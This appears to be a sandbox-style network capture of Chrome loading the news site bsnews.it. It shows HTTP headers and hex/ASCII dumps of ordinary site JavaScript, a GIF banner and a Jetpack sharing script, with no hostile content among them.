2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 8c 1e 8b d3 18 35 69 c5 24 9a 66 a5 d8 94 95 d2 a4 23 84 79 55 b7 7e 4b 92 ca 48 ff 00 4e 95 71 d9 d6 4d 7d 27 00 14 a7 35 55 08 61 28 4f 80 4e 16 e6 5f 3f a9 ad 9d b9 b2 67 a4 fd 27 5b 37 79 95 a4 6f a4 4f 4f 4f b4 94 4c 61 07 38 68 06 bc 10 90 80 37 1f 7c 4c bb 38 38 52 88 18 3d 9c f5 e0 24 93 5e dc de ec 9c 23 2c b9 6c 52 25 96 12 97 2f d6 ff 00 db 27 0e 4f 4d 30 a7 30 53 b3 ee 54 b6 45 f6 8f ad 4a e7 07 df 9a 25 3c 11 a5 37 81 e5 5e 0f 3a f3 b4 bc ea 87 15 20 64 ae 7a 66 fc ce 05 71 01 24 22 97 98 5f 2d 36 83 18 36 7b 06 cb 96 e5 a4 54 a5 3b 36 e5 12 a5 54 52 e0 1a 72 7f 89 16 a4 d1 2b 75 ab a6 ba 78 11 fc 36 b4 a6 a9 43 ce de 35 d1 c0 c9 9c c2 85 a2 fe 0a 9d ba 5f c5 91 79 97 00 a5 68 74 82 22 5d 38 1f 19 2f 83 da 5d e9 89 a7 28 0a 87 a8 94 f3 f2 e4 Data Ascii: 5i$f#yU~KHNqM}'5Ua(ON_?g'[7yoOOOLa8h7\|L88R=$^#,lR%/'OM00STEJ%<7^: dzfq$"_-66{T;6TRr+ux6C5_yht"]8/](

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49764	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:02 UTC	539	OUT	GET /codesour/bsnews/bsnews.prod.js HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	672	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 27010 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 13 Feb 2024 14:39:27 GMT x-rgw-object-type: Normal ETag: "aadfc383dd27d1498c7efac53664492f" x-amz-request-id: tx00000803c39ef63105b29-0065cb8079-3fba010-prg X-77-NZT: AyUTzgQ3NzehnJI76Dc3N/9SdQcAbT1aDXSzIQA X-77-NZT-Ray: 8e305f1c7c0c68b8762f05665989300c X-Accel-Expires: @1711645476 X-Accel-Date: 1711127076 X-77-Cache: HIT X-77-Age: 488786 Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:02 UTC	15712	IN	Data Raw: 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 2c 65 2c 6f 2c 74 2c 69 3d 7b 38 39 30 3a 28 6e 2c 65 2c 6f 29 3d 3e 7b 6f 2e 64 28 65 2c 7b 5a 3a 28 29 3d 3e 72 7d 29 3b 76 61 72 20 74 3d 6f 28 36 34 35 29 2c 69 3d 6f 2e 6e 28 74 29 28 29 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 6e 5b 31 5d 7d 29 29 3b 69 2e 70 75 73 68 28 5b 6e 2e 69 64 2c 27 2e 62 67 2d 73 6f 75 72 2d 64 69 73 70 6c 61 79 20 7b 5c 6e 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 5c 6e 5c 6e 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 72 69 70 70 6c 65 20 30 2e 38 73 20 69 6e 66 69 6e 69 74 65 3b 5c 6e 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 5c 6e 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 39 30 70 78 3b 5c Data Ascii: (()=>{"use strict";var n,e,o,t,i={890:(n,e,o)=>{o.d(e,{Z:()=>r});var t=o(645),i=o.n(t)()((function(n){return n[1]}));i.push([n.id,'.bg-sour-display {\n position: relative;\n\n animation: ripple 0.8s infinite;\n text-align: center;\n min-height: 90px;\
2024-03-28 08:51:02 UTC	11298	IN	Data Raw: 72 67 65 74 69 6e 67 4d 6f 64 75 6c 65 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 29 7b 69 66 28 21 28 6e 2e 6c 65 6e 67 74 68 3c 3d 30 29 26 26 6e 75 6c 6c 21 3d 3d 6e 2e 66 69 6e 64 28 28 6e 3d 3e 6e 2e 70 61 67 65 54 79 70 65 3d 3d 3d 65 29 29 29 72 65 74 75 72 6e 20 6f 2e 65 28 36 38 38 29 2e 74 68 65 6e 28 6f 2e 62 69 6e 64 28 6f 2c 36 38 38 29 29 2e 74 68 65 6e 28 28 28 7b 64 65 66 61 75 6c 74 3a 6e 7d 29 3d 3e 7b 72 2e 6c 6f 67 28 22 49 6e 73 69 64 65 20 20 69 6e 69 74 54 61 72 67 65 74 69 6e 67 4d 6f 64 75 6c 65 22 29 7d 29 29 2e 63 61 74 63 68 28 28 6e 3d 3e 22 41 6e 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 6c 6f 61 64 69 6e 67 20 74 68 65 20 63 6f 6d 70 6f 6e 65 6e 74 22 29 29 7d 2c 69 6e 69 74 41 6e 61 6c 79 74 69 63 73 4d Data Ascii: rgetingModule:function(n,e){if(!(n.length<=0)&&null!==n.find((n=>n.pageType===e)))return o.e(688).then(o.bind(o,688)).then((({default:n})=>{r.log("Inside initTargetingModule")})).catch((n=>"An error occurred while loading the component"))},initAnalyticsM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49780	104.21.27.89	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:02 UTC	381	OUT	GET /wp-content/uploads/2024/03/BSNEWS-728-x-90-1.gif HTTP/1.1 Host: bsnews.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	691	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Type: image/gif Content-Length: 49746 Connection: close last-modified: Mon, 04 Mar 2024 14:44:57 GMT etag: "65e5de69-c252" x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PNanyciynePatP14qbTxrhhfMIRmX%2FS38%2FZ41uQiPoXo8aq6%2FLPquL9JGcq9K3aAgTH6xiikuH%2F574clyI9yL2tPVRPxsPyA9nSFMsWhGD%2FxrTv628Ryx4fVs1g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b66043ba7105d2-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:02 UTC	678	IN	Data Raw: 47 49 46 38 39 61 d8 02 5a 00 e6 7f 00 2c 71 89 1b 12 17 9c 94 49 d8 e6 ea f9 f4 ed 06 57 73 fb bb 2c e8 ea e7 ec e5 db 00 47 65 69 9a ab ca 8c 73 88 af bb e7 dd d3 67 5c 5c c6 d9 de 4b 86 9a 97 b9 c5 fc d2 6f e6 b0 93 db a7 8c fb b3 13 ff c7 27 f6 f6 f4 ed f3 f5 fe e7 b1 cd de e3 48 29 29 78 a5 b3 ec ca b1 fc c6 4b fb bb 31 fd d8 87 00 39 5a 00 50 6e f1 ed e6 a8 c5 ce ac 69 58 b5 ce d6 2b 64 72 18 64 7d fd fb f3 42 7a 8f b7 79 66 58 90 a2 8e 53 49 d3 9b 81 14 55 6c 96 49 35 bd d3 da ff f3 d8 ff ee c7 e4 ed f0 c8 77 60 d1 aa 38 f7 fb fb 10 5c 75 d4 b7 a9 ad c9 d3 fb b6 20 74 84 54 00 4a 74 e7 bc a2 b3 b1 ad fb f7 f4 87 6f 6d e2 95 76 1f 57 6e f1 bb 4a 73 42 3b 8d 8e 8e 64 8c 9c f2 f7 f8 f8 ed d5 b1 92 87 9a 62 55 ea b5 32 fb ba 23 a9 5b 46 d9 c9 bf d2 ae Data Ascii: GIF89aZ,qIWs,Geisg\\Ko'H))xK19ZPniX+drd}BzyfXSIUlI5w`8\u tTJtomvWnJsB;dbU2#[F
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 4d 4d 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 6d 6d 2f 22 20 78 6d 6c 6e 73 3a 73 74 52 65 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 73 54 79 70 65 2f 52 65 73 6f 75 72 63 65 52 65 66 23 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 70 4d 4d 3a 4f 72 69 67 69 6e 61 6c 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 37 34 63 38 35 34 34 32 2d 64 31 36 63 2d 34 34 31 64 2d 61 35 39 64 2d 34 35 37 61 63 36 32 39 64 37 63 61 22 20 78 6d 70 4d 4d 3a 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d Data Ascii: n rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:74c85442-d16c-441d-a59d-457ac629d7ca" xmpMM:DocumentID="xm
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: b6 8e 26 c2 c9 c2 d3 4d c4 d5 c5 95 4b 88 28 50 40 1f 30 16 60 02 22 d0 49 47 02 7a ce 21 93 da 89 9a cc 41 c2 0b ec a1 30 97 67 10 b0 c0 82 02 1a d4 46 1c ff 59 61 e0 20 02 8c 50 46 29 42 72 10 74 46 02 0e 51 66 a9 25 81 18 40 f0 a4 08 2c bc 72 60 82 0b 9e 17 03 00 0f aa a0 41 1c 9c 34 75 c7 59 3a d1 96 62 2a 18 6e 97 d3 8a 82 80 d5 d5 87 78 86 23 9c 87 c4 d4 09 ca 9c 25 0d e0 60 94 61 1e 52 a3 08 d3 f1 f9 c9 84 87 58 57 9d 5d da 45 aa 24 22 11 a8 00 c1 90 9a 90 10 14 15 28 3c 10 18 71 bd 71 d2 e0 93 df e1 87 1f 94 42 21 e1 87 7d aa 7a 07 a3 5f aa aa f1 9f 97 30 26 5a 60 21 0c 3c 99 80 1a 9d 15 42 03 0b 2a 00 c0 80 79 94 0e 17 8a 6d e7 41 ba 13 57 84 8a 72 db 40 6f c6 81 e2 b5 d8 66 8b 6d 1c d6 02 3a 47 1c 6f de d4 6d b6 5f d1 31 87 1d 1c 6a ab 6d ba e4 Data Ascii: &MK(P@0`"IGz!A0gFYa PF)BrtFQf%@,r`A4uY:bnx#%`aRXW]E$"(<qqB!}z_0&Z`!<BymAWr@ofm:Gom_1jm
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 82 7a 09 e2 aa 04 5a 9b 1a a6 64 53 41 48 96 51 13 23 81 0a d4 d0 03 7a 71 f8 83 43 f4 03 0d 16 fa 63 0f a3 2a 01 be 3c 84 c2 60 14 01 1d e8 c0 04 4f 8e d7 97 20 30 44 a3 94 55 b5 86 f8 a7 12 7b 12 38 fd 75 58 81 47 ae ad 20 80 9a e2 0e 03 60 5e 09 60 01 68 09 31 d1 df 7a 06 a3 1a e5 68 6e 8b fc 34 1c 80 37 0c e7 65 d4 97 0b 50 53 50 11 98 06 0a 50 71 85 4d 2b 82 17 84 41 13 48 40 9f 74 54 0c c4 3e b8 38 bc b9 05 40 85 01 73 83 ee 54 8e 9a 66 3e 32 95 d1 d1 5e 97 be 80 07 02 e0 81 a8 45 0d 07 42 3c 60 be 04 93 6a 8c 50 c0 6a 14 7c d4 be 7d 49 12 fa 94 b3 2a 28 c9 cb 7a 29 05 70 76 d7 4c a3 ce 68 42 3c 03 58 10 0d 5c 85 04 a2 d8 01 6e 42 86 1d 0d 20 ff 9a 0f 0c 3c 2d 0c 6c a2 c3 99 cf 1a d0 07 27 82 04 12 66 41 90 fd a0 01 00 bc 80 05 86 e4 00 09 05 a1 83 Data Ascii: zZdSAHQ#zqCc<`O 0DU{8uXG `^`h1zhn47ePSPPqM+AH@tT>8@sTf>2^EB<`jPj\|}I(z)pvLhB<X\nB <-l'fA
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 03 93 31 36 80 4f 99 8a 07 28 95 53 b9 80 57 d9 63 0b 04 55 68 b7 45 1c 10 9f 58 74 52 fe 46 54 77 40 96 50 d2 99 1c c8 55 02 06 0a 5f a5 09 1a b0 8c 5b c4 61 3a d0 44 0d d3 32 43 10 03 81 88 02 6b c4 00 31 b0 41 23 45 0f bb 04 6b 9b 34 9e 98 37 39 b1 44 05 08 96 39 30 c5 7e 50 34 91 40 14 8f 82 30 8f 90 a9 1d 60 f9 1d e5 e8 07 06 16 8e cd 11 07 f5 66 23 fa 56 26 b7 d7 71 ba 77 30 f4 c4 ff 5d 07 06 a2 95 68 49 0c 02 80 90 28 08 8d 96 9d 6c 15 9b dd 87 71 a2 50 93 9c 49 98 40 d5 90 44 71 03 01 d2 17 d5 29 91 90 c4 73 d8 c8 66 dc 18 5a b3 b2 81 88 48 4d 2f f9 7d 31 16 03 f8 65 67 bc 15 7a 1a 1a 83 53 54 68 55 83 13 ba a8 91 9c 00 69 7d 80 02 3c 41 5a 5f 82 02 ae 82 13 43 f6 25 52 73 03 05 3a 31 25 a2 01 4d 46 37 18 40 02 61 f0 a3 cc 80 8a 59 12 95 e9 a9 9e Data Ascii: 16O(SWcUhEXtRFTw@PU_[a:D2Ck1A#Ek479D90~P4@0`f#V&qw0]hI(lqPI@Dq)sfZHM/}1egzSThUi}<AZ_C%Rs:1%MF7@aY
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: d5 7b 36 22 19 1a 83 44 40 f1 22 1a fb 06 41 9a d1 71 71 3a 47 22 24 20 92 86 39 76 e1 29 dc 73 c9 85 50 30 6c 2d 4c 35 11 ff 06 67 86 42 93 34 44 8b 78 02 72 cd 17 47 1d 41 03 7b 08 ea 81 42 b3 0a 17 e1 08 01 18 64 14 f9 b6 89 5c 7d 36 74 94 d9 02 22 1a 3e 6c 6a 10 50 4a db a3 cc 88 64 d7 c1 12 06 2a 20 43 d4 d4 20 9a 31 31 63 65 d9 68 22 20 23 d6 24 83 04 62 4e 71 42 63 ad 1d c4 a8 19 6b 35 36 0a a0 02 91 b4 b1 10 a0 2f 1d 42 c2 2a 94 45 a4 3d 48 24 f7 00 2c c0 41 7b 94 62 98 43 58 dc 23 02 46 51 13 1a 70 04 0e c2 40 2d 18 4d 8b 68 d6 46 64 02 2f 80 46 ad 0b 54 21 f0 02 b9 ba 0c 7a 6c 6b 38 50 00 f4 5d df 93 7c 4a 81 ac 6a e0 77 2f 2b 5a 50 9c 67 08 36 9d bd 8d bc bd 2a d4 07 61 10 03 1a fa 49 87 e7 49 0b 12 97 18 50 5a 1c 76 26 68 c2 02 a5 75 66 2e d3 Data Ascii: {6"D@"Aqq:G"$ 9v)sP0l-L5gB4DxrGA{Bd\}6t">ljPJd* C 11ceh" #$bNqBck56/BE=H$,A{bCX#FQp@-MhFd/FT!zlk8P]\|Jjw/+ZPg6aIIPZv&huf.
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 38 12 88 18 4f be bc f9 f3 e7 43 8c 55 c4 02 05 07 14 21 20 00 13 01 40 41 02 05 00 18 9c 8b 10 03 98 1a 35 c0 00 80 43 7b f6 01 00 41 1f ee 85 a0 c6 7b 84 d1 c7 41 31 92 95 c2 01 15 22 1c 46 82 08 10 24 50 8a 08 38 28 50 80 02 8b 8c 32 5b 77 24 de 15 c1 6e 21 f8 b6 cc 15 68 b5 e8 e2 8b 15 ec 20 03 38 72 28 f7 81 01 78 38 17 8e 72 5b 48 47 9d 56 29 48 d0 e2 0e 57 94 68 e4 91 48 86 98 88 39 7d 14 e0 e4 93 50 46 29 a5 94 54 f4 65 82 21 ed b1 20 48 01 10 f4 07 cb 6b 2c 3c c0 9a 66 9a c1 02 1b 06 28 d4 27 df 2d 00 90 d0 8b 2d b2 71 10 d9 62 2c 30 60 a0 20 6a 88 a0 06 0b 05 04 a6 06 2b 31 28 d9 51 92 84 6a 45 03 0b 60 15 ff 30 c9 8a 37 6e 11 9d 01 d1 7d 20 29 a4 37 1a 30 e3 1c 77 78 d3 16 5a 1e cc 18 0e 01 42 be 95 1d 90 20 ec 70 a3 07 71 15 aa ea aa 76 5d 10 Data Ascii: 8OCU! @A5C{A{A1"F$P8(P2[w$n!h 8r(x8r[HGV)HWhH9}PF)Te! Hk,<f('--qb,0` j+1(QjE`07n} )70wxZB pqv]
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: ca bb 61 36 1d a9 ec ab 22 b2 c0 02 13 6a a8 83 0b f5 43 1c ec f3 42 1c a8 0b 14 26 35 2d 7a 81 88 4c 22 2a 49 b9 72 94 80 84 27 8c 47 49 49 a0 63 29 80 6e 77 91 4a b0 20 2d 07 7b 62 80 e0 13 85 14 9d bd 89 a1 6c 71 1b 26 56 fd 40 ce 81 1d 47 72 5b 0d df 27 d0 27 a9 a7 fa 21 03 6d fd 00 8a 47 fc 28 1d b5 25 ad dd 85 af 90 e9 12 5e 94 0e 00 00 21 f8 ac 09 ff 38 a0 99 be 5e 29 06 34 d0 41 16 56 67 19 51 20 01 35 72 4a 04 2b 1e 02 1a 81 f8 41 07 9f 21 81 24 19 82 ae 08 24 e4 35 9f 11 45 1c d2 ec 0a 2d a7 6b 49 96 61 c0 b1 24 99 85 ca 84 41 1f 86 89 00 12 aa 66 19 44 20 61 34 88 18 32 37 5e f6 33 16 40 e0 d0 a5 c0 2f 0a 38 c2 4a 54 02 20 5c 04 c6 5d 32 18 20 9e 58 1e 83 1f a5 2d 2f 33 da b2 ce e8 dc 36 11 72 98 23 1a 09 89 87 32 4e 31 63 1e a8 57 86 b3 8b b7 Data Ascii: a6"jCB&5-zL"*Ir'GIIc)nwJ -{blq&V@Gr[''!mG(%^!8^)4AVgQ 5rJ+A!$$5E-kIa$AfD a427^3@/8JT \]2 X-/36r#2N1cW
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 00 34 80 04 69 32 92 69 02 10 c5 40 02 97 80 02 05 c7 00 18 f0 50 ed 06 00 ea 72 9b a9 70 ff 04 34 40 03 9f c7 00 48 c0 02 2a 30 22 86 69 09 9d 85 20 ff 01 20 b8 47 84 2a 27 8c 48 48 8c 89 10 03 30 84 5f 25 b4 9d 0d 28 95 bf b4 2e 7a 74 46 06 40 48 e4 59 46 68 a8 3f 50 25 86 8e 82 86 e4 89 4c cd 84 8d ac 16 37 ae 06 2a 5e 64 06 e4 89 6b 1f 90 23 72 c0 46 4b 74 9f 4d e0 28 e8 99 8e 2b 26 97 5f e9 86 75 f9 8e 6f 14 8f 33 13 24 55 74 23 a6 16 48 55 f8 44 c3 04 29 38 b5 9c 16 6a 58 48 28 12 c5 e7 07 3e 33 11 8c 40 03 0f 40 2d 37 40 10 23 99 2b 22 f1 1b 20 9a 10 3e 43 03 1f 3a 11 44 53 09 ba a2 0f 48 a0 2b 4b 71 11 8d 01 9a 07 88 a3 7d d5 10 13 c1 11 63 a6 08 f8 30 66 3c 5a a2 0d 11 a2 1c 4a 34 85 c9 0f 61 50 00 26 a4 6e af a3 06 f4 25 9d bb 47 9d 89 90 84 92 Data Ascii: 4i2i@Prp4@H0"i G'HH0_%(.ztF@HYFh?P%L7*^dk#rFKtM(+&_uo3$Ut#HUD)8jXH(>3@@-7@#+" >C:DSH+Kq}c0f<ZJ4aP&n%G
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 0d c1 85 e5 3b 2c 24 40 c5 a2 8c 36 da 28 0a 27 dd 00 41 a3 8a 3a 4a 45 08 38 0c 20 48 04 21 54 6a 29 0a 1c 90 e0 a5 27 03 30 c0 02 0a 21 30 0a 80 02 3a d0 c0 a0 9a 12 0a 42 03 09 0a e0 e0 69 1f 2c 70 f0 00 81 7e 68 e0 a9 a5 49 45 a0 29 21 f4 a4 6a 69 a3 21 00 10 25 0d 11 40 80 83 b1 21 a0 00 41 04 4a ce 16 86 08 c6 1e bb 68 08 0c d4 91 9e 1f 0a fc ba a8 a2 09 ac fa 40 9a 24 74 aa 2d a3 09 30 30 08 07 d9 b2 7b 29 00 1c e8 90 a6 3b b1 c2 62 21 76 aa 78 e8 99 08 00 3b d4 1c a1 cc b1 20 24 40 31 21 03 40 a4 ac 15 23 02 00 c3 86 41 45 6b 22 28 0a 81 ff ab 86 20 41 02 0a 54 08 da 4b c5 09 40 f0 80 39 e4 51 38 00 04 09 24 b0 56 ca 22 28 20 97 06 03 43 97 32 00 31 10 42 c3 72 bf 0c 9c 80 1a c3 3d 00 00 15 00 f7 52 40 c5 40 33 30 9b 63 5d 11 93 40 04 f5 71 10 b3 Data Ascii: ;,$@6('A:JE8 H!Tj)'0!0:Bi,p~hIE)!ji!%@!AJh@$t-00{);b!vx; $@1!@#AEk"( ATK@9Q8$V"( C21Br=R@@30c]@q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49781	192.0.77.37	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:02 UTC	555	OUT	GET /p/jetpack/13.2.2/_inc/build/sharedaddy/sharing.min.js HTTP/1.1 Host: c0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	533	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Type: application/javascript Content-Length: 8793 Connection: close Vary: Accept-Encoding Last-Modified: Tue, 07 Mar 2023 19:14:38 GMT Alt-Svc: h3=":443"; ma=86400 Expires: Fri, 28 Mar 2025 08:51:02 GMT Cache-Control: max-age=31536000 Alt-Svc: h3=":443"; ma=86400 Strict-Transport-Security: max-age=15552000 X-nc: HIT dca 2 Timing-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-03-28 08:51:02 UTC	836	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 2c 6f 3d 65 7c 7c 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 6e 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 73 79 6e 63 22 2c 21 30 29 2c 6e 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 74 29 2c 6f 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 6e 2c 6f 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 45 6c 65 6d 65 6e 74 2e Data Ascii: !function(){var e=document.currentScript;function t(t){var n=document.createElement("script"),o=e\|\|document.getElementsByTagName("script")[0];n.setAttribute("async",!0),n.setAttribute("src",t),o.parentNode.insertBefore(n,o)}function n(e,t){return Element.
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 2e 69 6e 73 74 61 6e 63 65 73 3d 5b 5d 2c 61 2e 68 6f 76 65 72 4f 70 65 6e 44 65 6c 61 79 3d 32 30 30 2c 61 2e 72 65 63 65 6e 74 4f 70 65 6e 44 65 6c 61 79 3d 34 30 30 2c 61 2e 68 6f 76 65 72 43 6c 6f 73 65 44 65 6c 61 79 3d 33 30 30 2c 61 2e 69 6e 73 74 61 6e 74 69 61 74 65 4f 72 52 65 75 73 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 6f 28 65 2c 22 64 69 76 22 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 72 29 2c 6e 3d 74 26 26 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 73 29 2c 69 3d 61 2e 69 6e 73 74 61 6e 63 65 73 5b 6e 5d 3b 72 65 74 75 72 6e 20 69 7c 7c 6e 65 77 20 61 28 65 29 7d 2c 61 2e 67 65 74 42 75 74 74 6f 6e 49 6e 73 74 61 6e 63 65 46 72 6f 6d 50 61 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 Data Ascii: .instances=[],a.hoverOpenDelay=200,a.recentOpenDelay=400,a.hoverCloseDelay=300,a.instantiateOrReuse=function(e){var t=o(e,"div").querySelector(r),n=t&&t.getAttribute(s),i=a.instances[n];return i\|\|new a(e)},a.getButtonInstanceFromPane=function(e){var t=e&&
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 6e 28 29 7d 2c 61 2e 70 72 6f 74 6f 74 79 70 65 2e 6e 6f 6e 48 6f 76 65 72 4f 70 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 6f 70 65 6e 54 69 6d 65 72 29 2c 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 63 6c 6f 73 65 54 69 6d 65 72 29 2c 74 68 69 73 2e 72 65 63 65 6e 74 6c 79 4f 70 65 6e 65 64 42 79 48 6f 76 65 72 3f 28 74 68 69 73 2e 72 65 63 65 6e 74 6c 79 4f 70 65 6e 65 64 42 79 48 6f 76 65 72 3d 21 31 2c 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 68 6f 76 65 72 4f 70 65 6e 54 69 6d 65 72 29 2c 74 68 69 73 2e 6f 70 65 6e 28 29 29 3a 74 68 69 73 2e 74 6f 67 67 6c 65 28 29 7d 2c 61 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 73 65 74 43 6c 6f 73 65 54 69 6d 65 72 3d 66 75 6e 63 74 69 6f Data Ascii: n()},a.prototype.nonHoverOpen=function(){clearTimeout(this.openTimer),clearTimeout(this.closeTimer),this.recentlyOpenedByHover?(this.recentlyOpenedByHover=!1,clearTimeout(this.hoverOpenTimer),this.open()):this.toggle()},a.prototype.resetCloseTimer=functio
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 74 74 6f 6e 43 6c 69 63 6b 29 2c 74 68 69 73 2e 62 75 74 74 6f 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6b 65 79 64 6f 77 6e 22 2c 74 68 69 73 2e 62 75 74 74 6f 6e 4b 65 79 64 6f 77 6e 29 2c 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6c 69 63 6b 22 2c 74 68 69 73 2e 64 6f 63 75 6d 65 6e 74 43 6c 69 63 6b 29 2c 76 6f 69 64 20 30 3d 3d 3d 64 6f 63 75 6d 65 6e 74 2e 6f 6e 74 6f 75 63 68 73 74 61 72 74 26 26 28 74 68 69 73 2e 62 75 74 74 6f 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 6f 75 73 65 65 6e 74 65 72 22 2c 74 68 69 73 2e 62 75 74 74 6f 6e 45 6e 74 65 72 29 2c 74 68 69 73 2e 62 75 74 74 6f 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 6f 75 73 